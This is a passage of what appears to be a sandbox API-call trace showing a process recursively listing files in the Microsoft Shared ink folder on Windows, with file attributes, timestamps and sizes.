lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0079.176] GetProcessHeap () returned 0x470000 [0079.176] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0079.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0079.177] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.177] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0079.177] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0079.177] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0079.177] GetProcessHeap () returned 0x470000 [0079.177] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0079.177] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0079.178] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0079.178] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0079.178] GetProcessHeap () returned 0x470000 [0079.178] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.178] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0079.178] GetProcessHeap () returned 0x470000 [0079.178] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0079.178] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0079.179] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.179] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.179] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.179] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0079.179] GetProcessHeap () returned 0x470000 [0079.179] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0079.179] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0079.179] GetProcessHeap () returned 0x470000 [0079.179] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0079.179] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0079.180] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.180] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.180] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.180] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0079.180] GetProcessHeap () returned 0x470000 [0079.180] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0079.180] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0079.180] GetProcessHeap () returned 0x470000 [0079.180] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0079.180] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0079.181] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.181] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.181] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.181] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0079.181] GetProcessHeap () returned 0x470000 [0079.181] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0079.181] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0079.181] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0079.181] GetProcessHeap () returned 0x470000 [0079.181] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0079.181] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0079.183] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.183] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0079.183] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0079.183] GetProcessHeap () returned 0x470000 [0079.183] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0079.183] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0079.183] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0079.183] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0079.183] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0079.183] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0079.183] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0079.184] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0079.184] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0079.184] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0079.184] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0079.184] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0079.184] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0079.184] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0079.184] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0079.184] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0079.185] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, 